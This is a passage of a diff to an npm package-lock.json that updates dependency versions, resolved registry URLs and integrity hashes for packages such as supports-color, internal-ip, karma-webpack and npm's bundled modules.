+ "integrity": "sha512-QIEQG4YyQ2UYZGDC4srMZ7BjHOmNk1lR2JQj5UknBapklm6WHA+VVH7N+sUdX3A7NeCfGF8o4X1S3Ao7nAcIeg==",
"dev": true,
"requires": {
"ansi-escapes": "3.1.0",
"chalk": "2.4.1",
"cli-cursor": "2.1.0",
"cli-width": "2.2.0",
- "external-editor": "2.2.0",
+ "external-editor": "3.0.3",
"figures": "2.0.0",
"lodash": "4.17.10",
"mute-stream": "0.0.7",
"run-async": "2.3.0",
- "rxjs": "5.5.11",
+ "rxjs": "6.3.3",
"string-width": "2.1.1",
"strip-ansi": "4.0.0",
"through": "2.3.8"
@@ -7132,7 +7174,7 @@
"requires": {
"ansi-styles": "3.2.1",
"escape-string-regexp": "1.0.5",
- "supports-color": "5.4.0"
+ "supports-color": "5.5.0"
}
},
"has-flag": {
@@ -7151,9 +7193,9 @@
}
},
"supports-color": {
- "version": "5.4.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz",
- "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
"has-flag": "3.0.0"
@@ -7162,12 +7204,13 @@
}
},
"internal-ip": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-1.2.0.tgz",
- "integrity": "sha1-rp+/k7mEh4eF1QqN4bNWlWBYz1w=",
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-3.0.1.tgz",
+ "integrity": "sha512-NXXgESC2nNVtU+pqmC9e6R8B1GpKxzsAQhffvh5AL79qKnodd+L7tnEQmTiUAVngqLalPbSqRA7XGIEL5nCd0Q==",
"dev": true,
"requires": {
- "meow": "3.7.0"
+ "default-gateway": "2.7.2",
+ "ipaddr.js": "1.8.0"
}
},
"interpret": {
@@ -7196,6 +7239,12 @@
"integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=",
"dev": true
},
+ "ip-regex": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz",
+ "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=",
+ "dev": true
+ },
"ipaddr.js": {
"version": "1.8.0",
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz",
@@ -7422,7 +7471,8 @@
"is-stream": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
- "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ="
+ "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=",
+ "dev": true
},
"is-symbol": {
"version": "1.0.1",
@@ -7493,15 +7543,6 @@
}
}
},
- "isomorphic-fetch": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz",
- "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=",
- "requires": {
- "node-fetch": "1.7.3",
- "whatwg-fetch": "2.0.4"
- }
- },
"isstream": {
"version": "0.1.2",
"resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
@@ -7561,9 +7602,9 @@
}
},
"js-file-download": {
- "version": "0.4.1",
- "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.1.tgz",
- "integrity": "sha1-3g3S1mHVY19QanO5YqtY3bZQvts="
+ "version": "0.4.4",
+ "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz",
+ "integrity": "sha512-lH75hwOMBkIDqIyAWgSYwkMa+YkBu/ATJf2rEXnC1TmHCCHmLNG/NFhZ6R4tipnH2v0EvLOhGlARc0vyS1j0mA=="
},
"js-tokens": {
"version": "3.0.2",
@@ -7690,7 +7731,7 @@
"di": "0.0.1",
"dom-serialize": "2.2.1",
"expand-braces": "0.1.2",
- "glob": "7.1.2",
+ "glob": "7.1.3",
"graceful-fs": "4.1.11",
"http-proxy": "1.17.0",
"isbinaryfile": "3.0.3",
@@ -8709,9 +8750,9 @@
}
},
"karma-webpack": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-3.0.0.tgz",
- "integrity": "sha512-Ja1o9LLoqWaJyUNhTKaXjWiEH9y7a9H3mzP8pYB30SBsgoF5KBS/65NeHFd+QPuT9ITrym8xFt8BZeGbcOfujA==",
+ "version": "3.0.5",
+ "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-3.0.5.tgz",
+ "integrity": "sha512-nRudGJWstvVuA6Tbju9tyGUfXTtI1UXMXoRHVmM2/78D0q6s/Ye2IC157PKNDC15PWFGR0mVIRtWLAdcfsRJoA==",
"dev": true,
"requires": {
"async": "2.6.1",
@@ -8729,14 +8770,6 @@
"dev": true,
"requires": {
"lodash": "4.17.10"
- },
- "dependencies": {
- "lodash": {
- "version": "4.17.10",
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz",
- "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==",
- "dev": true
- }
}
},
"loader-utils": {
@@ -8764,14 +8797,14 @@
"integrity": "sha1-+m6i5DuQpoAohD0n8gddNajD5vk="
},
"keycode": {
- "version": "2.1.9",
- "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.1.9.tgz",
- "integrity": "sha1-lkojxU5IiUBbSGGlyfBIDUUUHfo="
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.0.tgz",
+ "integrity": "sha1-PQr1bce4uOXLqNCpfxByBO7CKwQ="
},
"killable": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.0.tgz",
- "integrity": "sha1-2ouEvUfeU5WHj5XWTQLyRJ/gXms=",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.1.tgz",
+ "integrity": "sha512-LzqtLKlUwirEUyl/nicirVmNiPvYs7l5n8wOPP7fyJVpUPkvCnW/vuiXGpylGUlnPDnB7311rARzAt3Mhswpjg==",
"dev": true
},
"kind-of": {
@@ -8875,9 +8908,9 @@
}
},
"loader-runner": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz",
- "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=",
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.1.tgz",
+ "integrity": "sha512-By6ZFY7ETWOc9RFaAIb23IjJVcM4dvJC/N57nmdz9RSkMXvAXGI7SyVlAw3v8vjtDRlqThgVDVmTnr9fqMlxkw==",
"dev": true
},
"loader-utils": {
@@ -9034,12 +9067,6 @@
"object.assign": "4.1.0"
}
},
- "long": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/long/-/long-3.2.0.tgz",
- "integrity": "sha1-2CG3E4yhy1gcFymQ7xTbIAtcR0s=",
- "dev": true
- },
"longest": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
@@ -9097,11 +9124,14 @@
}
}
},
- "mamacro": {
- "version": "0.0.3",
- "resolved": "https://registry.npmjs.org/mamacro/-/mamacro-0.0.3.tgz",
- "integrity": "sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA==",
- "dev": true
+ "map-age-cleaner": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.2.tgz",
+ "integrity": "sha512-UN1dNocxQq44IhJyMI4TU8phc2m9BddacHRPRjKGLYaF0jqd3xLz0jS0skpAU9WgYyoR4gHtUpzytNBS385FWQ==",
+ "dev": true,
+ "requires": {
+ "p-defer": "1.0.0"
+ }
},
"map-cache": {
"version": "0.2.2",
@@ -9125,13 +9155,22 @@
}
},
"md5.js": {
- "version": "1.3.4",
- "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.4.tgz",
- "integrity": "sha1-6b296UogpawYsENA/Fdk1bCdkB0=",
+ "version": "1.3.5",
+ "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
+ "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
"dev": true,
"requires": {
"hash-base": "3.0.4",
- "inherits": "2.0.3"
+ "inherits": "2.0.3",
+ "safe-buffer": "5.1.2"
+ },
+ "dependencies": {
+ "safe-buffer": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+ "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
+ "dev": true
+ }
}
},
"media-typer": {
@@ -9173,7 +9212,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -9310,7 +9349,7 @@
"minimatch": {
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
- "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=",
+ "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
"dev": true,
"requires": {
"brace-expansion": "1.1.8"
@@ -9406,6 +9445,20 @@
"ms": "2.0.0"
}
},
+ "glob": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz",
+ "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==",
+ "dev": true,
+ "requires": {
+ "fs.realpath": "1.0.0",
+ "inflight": "1.0.6",
+ "inherits": "2.0.3",
+ "minimatch": "3.0.4",
+ "once": "1.4.0",
+ "path-is-absolute": "1.0.1"
+ }
+ },
"has-flag": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
@@ -9541,9 +9594,9 @@
"dev": true
},
"nice-try": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.4.tgz",
- "integrity": "sha512-2NpiFHqC87y/zFke0fC0spBXL3bBsoh/p5H1EFhshxjCR5+0g2d6BiXbUFz9v1sAcxsk2htp2eQnNIci2dIYcA==",
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
+ "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==",
"dev": true
},
"no-case": {
@@ -9555,15 +9608,6 @@
"lower-case": "1.1.4"
}
},
- "node-fetch": {
- "version": "1.7.3",
- "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz",
- "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==",
- "requires": {
- "encoding": "0.1.12",
- "is-stream": "1.1.0"
- }
- },
"node-forge": {
"version": "0.7.5",
"resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.7.5.tgz",
@@ -9621,7 +9665,7 @@
},
"readable-stream": {
"version": "2.3.6",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
@@ -9667,7 +9711,7 @@
"normalize-package-data": {
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz",
- "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=",
+ "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==",
"dev": true,
"requires": {
"hosted-git-info": "2.7.1",
@@ -9691,11 +9735,11 @@
"integrity": "sha512-iXcbM3NWr0XkNyfiSBsoPezi+0V92P9nj84yVV1/UZxRUrGczgX/X91KMAGM0omWLY2+2Q1gKD/XRn4gQRDB2A=="
},
"npm": {
- "version": "6.3.0",
- "resolved": "https://registry.npmjs.org/npm/-/npm-6.3.0.tgz",
- "integrity": "sha512-oDtLFo3wXue/xe3pU/oks9VHS5501OAWlYrZrApZkFv7l2LXk+9CfPMbjbfZWK7Jqlc1jbNcJMkB6KZC7K/vEA==",
+ "version": "6.4.1",
+ "resolved": "https://registry.npmjs.org/npm/-/npm-6.4.1.tgz",
+ "integrity": "sha512-mXJL1NTVU136PtuopXCUQaNWuHlXCTp4McwlSW8S9/Aj8OEPAlSBgo8og7kJ01MjCDrkmqFQTvN5tTEhBMhXQg==",
"requires": {
- "JSONStream": "1.3.3",
+ "JSONStream": "1.3.4",
"abbrev": "1.1.1",
"ansicolors": "0.3.2",
"ansistyles": "0.1.3",
@@ -9704,9 +9748,10 @@
"bin-links": "1.1.2",
"bluebird": "3.5.1",
"byte-size": "4.0.3",
- "cacache": "11.1.0",
+ "cacache": "11.2.0",
"call-limit": "1.1.0",
"chownr": "1.0.1",
+ "ci-info": "1.4.0",
"cli-columns": "3.1.2",
"cli-table3": "0.5.0",
"cmd-shim": "2.0.2",
@@ -9717,7 +9762,7 @@
"detect-newline": "2.1.0",
"dezalgo": "1.0.3",
"editor": "1.0.0",
- "figgy-pudding": "3.2.0",
+ "figgy-pudding": "3.4.1",
"find-npm-prefix": "1.0.2",
"fs-vacuum": "1.2.10",
"fs-write-stream-atomic": "1.0.10",
@@ -9725,8 +9770,8 @@
"glob": "7.1.2",
"graceful-fs": "4.1.11",
"has-unicode": "2.0.1",
- "hosted-git-info": "2.6.0",
- "iferr": "1.0.0",
+ "hosted-git-info": "2.7.1",
+ "iferr": "1.0.2",
"imurmurhash": "0.1.4",
"inflight": "1.0.6",
"inherits": "2.0.3",
@@ -9735,7 +9780,7 @@
"is-cidr": "2.0.6",
"json-parse-better-errors": "1.0.2",
"lazy-property": "1.0.0",
- "libcipm": "2.0.0",
+ "libcipm": "2.0.2",
"libnpmhook": "4.0.1",
"libnpx": "10.2.0",
"lock-verify": "2.0.2",
@@ -9756,23 +9801,23 @@
"mississippi": "3.0.0",
"mkdirp": "0.5.1",
"move-concurrently": "1.0.1",
- "node-gyp": "3.7.0",
+ "node-gyp": "3.8.0",
"nopt": "4.0.1",
"normalize-package-data": "2.4.0",
"npm-audit-report": "1.3.1",
"npm-cache-filename": "1.0.2",
"npm-install-checks": "3.0.0",
- "npm-lifecycle": "2.0.3",
+ "npm-lifecycle": "2.1.0",
"npm-package-arg": "6.1.0",
- "npm-packlist": "1.1.10",
+ "npm-packlist": "1.1.11",
"npm-pick-manifest": "2.1.0",
"npm-profile": "3.0.2",
- "npm-registry-client": "8.5.1",
+ "npm-registry-client": "8.6.0",
"npm-registry-fetch": "1.1.0",
"npm-user-validate": "1.0.0",
"npmlog": "4.1.2",
"once": "1.4.0",
- "opener": "1.4.3",
+ "opener": "1.5.0",
"osenv": "0.1.5",
"pacote": "8.1.6",
"path-is-inside": "1.0.2",
@@ -9787,7 +9832,7 @@
"read-package-tree": "5.2.1",
"readable-stream": "2.3.6",
"readdir-scoped-modules": "1.0.2",
- "request": "2.81.0",
+ "request": "2.88.0",
"retry": "0.12.0",
"rimraf": "2.6.2",
"safe-buffer": "5.1.2",
@@ -9798,7 +9843,7 @@
"sorted-union-stream": "2.1.3",
"ssri": "6.0.0",
"stringify-package": "1.0.0",
- "tar": "4.4.4",
+ "tar": "4.4.6",
"text-table": "0.2.0",
"tiny-relative-date": "1.3.0",
"uid-number": "0.0.6",
@@ -9807,7 +9852,7 @@
"unpipe": "1.0.0",
"update-notifier": "2.5.0",
"uuid": "3.3.2",
- "validate-npm-package-license": "3.0.3",
+ "validate-npm-package-license": "3.0.4",
"validate-npm-package-name": "3.0.0",
"which": "1.3.1",
"worker-farm": "1.6.0",
@@ -9815,7 +9860,7 @@
},
"dependencies": {
"JSONStream": {
- "version": "1.3.3",
+ "version": "1.3.4",
"bundled": true,
"requires": {
"jsonparse": "1.3.1",
@@ -9840,6 +9885,16 @@
"humanize-ms": "1.2.1"
}
},
+ "ajv": {
+ "version": "5.5.2",
+ "bundled": true,
+ "requires": {
+ "co": "4.6.0",
+ "fast-deep-equal": "1.1.0",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.3.1"
+ }
+ },
"ansi-align": {
"version": "2.0.0",
"bundled": true,
@@ -9887,11 +9942,14 @@
"bundled": true
},
"asn1": {
- "version": "0.2.3",
- "bundled": true
+ "version": "0.2.4",
+ "bundled": true,
+ "requires": {
+ "safer-buffer": "2.1.2"
+ }
},
"assert-plus": {
- "version": "0.2.0",
+ "version": "1.0.0",
"bundled": true
},
"asynckit": {
@@ -9899,11 +9957,11 @@
"bundled": true
},
"aws-sign2": {
- "version": "0.6.0",
+ "version": "0.7.0",
"bundled": true
},
"aws4": {
- "version": "1.7.0",
+ "version": "1.8.0",
"bundled": true
},
"balanced-match": {
@@ -9940,13 +9998,6 @@
"version": "3.5.1",
"bundled": true
},
- "boom": {
- "version": "2.10.1",
- "bundled": true,
- "requires": {
- "hoek": "2.16.3"
- }
- },
"boxen": {
"version": "1.3.0",
"bundled": true,
@@ -9989,12 +10040,12 @@
"bundled": true
},
"cacache": {
- "version": "11.1.0",
+ "version": "11.2.0",
"bundled": true,
"requires": {
"bluebird": "3.5.1",
"chownr": "1.0.1",
- "figgy-pudding": "3.2.0",
+ "figgy-pudding": "3.4.1",
"glob": "7.1.2",
"graceful-fs": "4.1.11",
"lru-cache": "4.1.3",
@@ -10038,7 +10089,7 @@
"bundled": true
},
"ci-info": {
- "version": "1.1.3",
+ "version": "1.4.0",
"bundled": true
},
"cidr-regex": {
@@ -10064,7 +10115,7 @@
"version": "0.5.0",
"bundled": true,
"requires": {
- "colors": "1.3.0",
+ "colors": "1.1.2",
"object-assign": "4.1.1",
"string-width": "2.1.1"
}
@@ -10123,7 +10174,7 @@
"bundled": true
},
"colors": {
- "version": "1.3.0",
+ "version": "1.1.2",
"bundled": true,
"optional": true
},
@@ -10218,13 +10269,6 @@
"which": "1.3.1"
}
},
- "cryptiles": {
- "version": "2.0.5",
- "bundled": true,
- "requires": {
- "boom": "2.10.1"
- }
- },
"crypto-random-string": {
"version": "1.0.0",
"bundled": true
@@ -10238,12 +10282,6 @@
"bundled": true,
"requires": {
"assert-plus": "1.0.0"
- },
- "dependencies": {
- "assert-plus": {
- "version": "1.0.0",
- "bundled": true
- }
}
},
"debug": {
@@ -10332,11 +10370,12 @@
}
},
"ecc-jsbn": {
- "version": "0.1.1",
+ "version": "0.1.2",
"bundled": true,
"optional": true,
"requires": {
- "jsbn": "0.1.1"
+ "jsbn": "0.1.1",
+ "safer-buffer": "2.1.2"
}
},
"editor": {
@@ -10397,15 +10436,23 @@
}
},
"extend": {
- "version": "3.0.1",
+ "version": "3.0.2",
"bundled": true
},
"extsprintf": {
"version": "1.3.0",
"bundled": true
},
+ "fast-deep-equal": {
+ "version": "1.1.0",
+ "bundled": true
+ },
+ "fast-json-stable-stringify": {
+ "version": "2.0.0",
+ "bundled": true
+ },
"figgy-pudding": {
- "version": "3.2.0",
+ "version": "3.4.1",
"bundled": true
},
"find-npm-prefix": {
@@ -10432,12 +10479,12 @@
"bundled": true
},
"form-data": {
- "version": "2.1.4",
+ "version": "2.3.2",
"bundled": true,
"requires": {
"asynckit": "0.4.0",
"combined-stream": "1.0.6",
- "mime-types": "2.1.18"
+ "mime-types": "2.1.19"
}
},
"from2": {
@@ -10556,12 +10603,6 @@
"bundled": true,
"requires": {
"assert-plus": "1.0.0"
- },
- "dependencies": {
- "assert-plus": {
- "version": "1.0.0",
- "bundled": true
- }
}
},
"glob": {
@@ -10605,25 +10646,15 @@
"bundled": true
},
"har-schema": {
- "version": "1.0.5",
+ "version": "2.0.0",
"bundled": true
},
"har-validator": {
- "version": "4.2.1",
+ "version": "5.1.0",
"bundled": true,
"requires": {
- "ajv": "4.11.8",
- "har-schema": "1.0.5"
- },
- "dependencies": {
- "ajv": {
- "version": "4.11.8",
- "bundled": true,
- "requires": {
- "co": "4.6.0",
- "json-stable-stringify": "1.0.1"
- }
- }
+ "ajv": "5.5.2",
+ "har-schema": "2.0.0"
}
},
"has-flag": {
@@ -10634,22 +10665,8 @@
"version": "2.0.1",
"bundled": true
},
- "hawk": {
- "version": "3.1.3",
- "bundled": true,
- "requires": {
- "boom": "2.10.1",
- "cryptiles": "2.0.5",
- "hoek": "2.16.3",
- "sntp": "1.0.9"
- }
- },
- "hoek": {
- "version": "2.16.3",
- "bundled": true
- },
"hosted-git-info": {
- "version": "2.6.0",
+ "version": "2.7.1",
"bundled": true
},
"http-cache-semantics": {
@@ -10665,10 +10682,10 @@
}
},
"http-signature": {
- "version": "1.1.1",
+ "version": "1.2.0",
"bundled": true,
"requires": {
- "assert-plus": "0.2.0",
+ "assert-plus": "1.0.0",
"jsprim": "1.4.1",
"sshpk": "1.14.2"
}
@@ -10696,7 +10713,7 @@
}
},
"iferr": {
- "version": "1.0.0",
+ "version": "1.0.2",
"bundled": true
},
"ignore-walk": {
@@ -10740,7 +10757,7 @@
"read": "1.0.7",
"read-package-json": "2.0.13",
"semver": "5.5.0",
- "validate-npm-package-license": "3.0.3",
+ "validate-npm-package-license": "3.0.4",
"validate-npm-package-name": "3.0.0"
}
},
@@ -10767,7 +10784,7 @@
"version": "1.1.0",
"bundled": true,
"requires": {
- "ci-info": "1.1.3"
+ "ci-info": "1.4.0"
}
},
"is-cidr": {
@@ -10848,21 +10865,14 @@
"version": "0.2.3",
"bundled": true
},
- "json-stable-stringify": {
- "version": "1.0.1",
- "bundled": true,
- "requires": {
- "jsonify": "0.0.0"
- }
+ "json-schema-traverse": {
+ "version": "0.3.1",
+ "bundled": true
},
"json-stringify-safe": {
"version": "5.0.1",
"bundled": true
},
- "jsonify": {
- "version": "0.0.0",
- "bundled": true
- },
"jsonparse": {
"version": "1.3.1",
"bundled": true
@@ -10875,12 +10885,6 @@
"extsprintf": "1.3.0",
"json-schema": "0.2.3",
"verror": "1.10.0"
- },
- "dependencies": {
- "assert-plus": {
- "version": "1.0.0",
- "bundled": true
- }
}
},
"latest-version": {
@@ -10902,7 +10906,7 @@
}
},
"libcipm": {
- "version": "2.0.0",
+ "version": "2.0.2",
"bundled": true,
"requires": {
"bin-links": "1.1.2",
@@ -10910,7 +10914,8 @@
"find-npm-prefix": "1.0.2",
"graceful-fs": "4.1.11",
"lock-verify": "2.0.2",
- "npm-lifecycle": "2.0.3",
+ "mkdirp": "0.5.1",
+ "npm-lifecycle": "2.1.0",
"npm-logical-tree": "1.2.1",
"npm-package-arg": "6.1.0",
"pacote": "8.1.6",
@@ -10924,7 +10929,7 @@
"version": "4.0.1",
"bundled": true,
"requires": {
- "figgy-pudding": "3.2.0",
+ "figgy-pudding": "3.4.1",
"npm-registry-fetch": "3.1.1"
},
"dependencies": {
@@ -10933,7 +10938,7 @@
"bundled": true,
"requires": {
"bluebird": "3.5.1",
- "figgy-pudding": "3.2.0",
+ "figgy-pudding": "3.4.1",
"lru-cache": "4.1.3",
"make-fetch-happen": "4.0.1",
"npm-package-arg": "6.1.0"
@@ -11061,7 +11066,7 @@
"bundled": true,
"requires": {
"agentkeepalive": "3.4.1",
- "cacache": "11.1.0",
+ "cacache": "11.2.0",
"http-cache-semantics": "3.8.1",
"http-proxy-agent": "2.1.0",
"https-proxy-agent": "2.2.1",
@@ -11085,14 +11090,14 @@
}
},
"mime-db": {
- "version": "1.33.0",
+ "version": "1.35.0",
"bundled": true
},
"mime-types": {
- "version": "2.1.18",
+ "version": "2.1.19",
"bundled": true,
"requires": {
- "mime-db": "1.33.0"
+ "mime-db": "1.35.0"
}
},
"mimic-fn": {
@@ -11184,7 +11189,7 @@
}
},
"node-gyp": {
- "version": "3.7.0",
+ "version": "3.8.0",
"bundled": true,
"requires": {
"fstream": "1.0.11",
@@ -11194,7 +11199,7 @@
"nopt": "3.0.6",
"npmlog": "4.1.2",
"osenv": "0.1.5",
- "request": "2.81.0",
+ "request": "2.88.0",
"rimraf": "2.6.2",
"semver": "5.3.0",
"tar": "2.2.1",
@@ -11235,10 +11240,10 @@
"version": "2.4.0",
"bundled": true,
"requires": {
- "hosted-git-info": "2.6.0",
+ "hosted-git-info": "2.7.1",
"is-builtin-module": "1.0.0",
"semver": "5.5.0",
- "validate-npm-package-license": "3.0.3"
+ "validate-npm-package-license": "3.0.4"
}
},
"npm-audit-report": {
@@ -11250,7 +11255,7 @@
}
},
"npm-bundled": {
- "version": "1.0.3",
+ "version": "1.0.5",
"bundled": true
},
"npm-cache-filename": {
@@ -11265,12 +11270,12 @@
}
},
"npm-lifecycle": {
- "version": "2.0.3",
+ "version": "2.1.0",
"bundled": true,
"requires": {
"byline": "5.0.0",
"graceful-fs": "4.1.11",
- "node-gyp": "3.7.0",
+ "node-gyp": "3.8.0",
"resolve-from": "4.0.0",
"slide": "1.1.6",
"uid-number": "0.0.6",
@@ -11286,18 +11291,18 @@
"version": "6.1.0",
"bundled": true,
"requires": {
- "hosted-git-info": "2.6.0",
+ "hosted-git-info": "2.7.1",
"osenv": "0.1.5",
"semver": "5.5.0",
"validate-npm-package-name": "3.0.0"
}
},
"npm-packlist": {
- "version": "1.1.10",
+ "version": "1.1.11",
"bundled": true,
"requires": {
"ignore-walk": "3.0.1",
- "npm-bundled": "1.0.3"
+ "npm-bundled": "1.0.5"
}
},
"npm-pick-manifest": {
@@ -11317,7 +11322,7 @@
}
},
"npm-registry-client": {
- "version": "8.5.1",
+ "version": "8.6.0",
"bundled": true,
"requires": {
"concat-stream": "1.6.2",
@@ -11326,7 +11331,7 @@
"npm-package-arg": "6.1.0",
"npmlog": "4.1.2",
"once": "1.4.0",
- "request": "2.81.0",
+ "request": "2.88.0",
"retry": "0.10.1",
"safe-buffer": "5.1.2",
"semver": "5.5.0",
@@ -11480,7 +11485,7 @@
"bundled": true
},
"oauth-sign": {
- "version": "0.8.2",
+ "version": "0.9.0",
"bundled": true
},
"object-assign": {
@@ -11495,7 +11500,7 @@
}
},
"opener": {
- "version": "1.4.3",
+ "version": "1.5.0",
"bundled": true
},
"os-homedir": {
@@ -11560,7 +11565,7 @@
"bundled": true,
"requires": {
"bluebird": "3.5.1",
- "cacache": "11.1.0",
+ "cacache": "11.2.0",
"get-stream": "3.0.0",
"glob": "7.1.2",
"lru-cache": "4.1.3",
@@ -11571,7 +11576,7 @@
"mkdirp": "0.5.1",
"normalize-package-data": "2.4.0",
"npm-package-arg": "6.1.0",
- "npm-packlist": "1.1.10",
+ "npm-packlist": "1.1.11",
"npm-pick-manifest": "2.1.0",
"osenv": "0.1.5",
"promise-inflight": "1.0.1",
@@ -11581,7 +11586,7 @@
"safe-buffer": "5.1.2",
"semver": "5.5.0",
"ssri": "6.0.0",
- "tar": "4.4.4",
+ "tar": "4.4.6",
"unique-filename": "1.1.0",
"which": "1.3.1"
}
@@ -11612,7 +11617,7 @@
"bundled": true
},
"performance-now": {
- "version": "0.2.0",
+ "version": "2.1.0",
"bundled": true
},
"pify": {
@@ -11671,6 +11676,10 @@
"version": "1.0.2",
"bundled": true
},
+ "psl": {
+ "version": "1.1.29",
+ "bundled": true
+ },
"pump": {
"version": "3.0.0",
"bundled": true,
@@ -11707,7 +11716,7 @@
"bundled": true
},
"qs": {
- "version": "6.4.0",
+ "version": "6.5.2",
"bundled": true
},
"query-string": {
@@ -11826,29 +11835,27 @@
}
},
"request": {
- "version": "2.81.0",
+ "version": "2.88.0",
"bundled": true,
"requires": {
- "aws-sign2": "0.6.0",
- "aws4": "1.7.0",
+ "aws-sign2": "0.7.0",
+ "aws4": "1.8.0",
"caseless": "0.12.0",
"combined-stream": "1.0.6",
- "extend": "3.0.1",
+ "extend": "3.0.2",
"forever-agent": "0.6.1",
- "form-data": "2.1.4",
- "har-validator": "4.2.1",
- "hawk": "3.1.3",
- "http-signature": "1.1.1",
+ "form-data": "2.3.2",
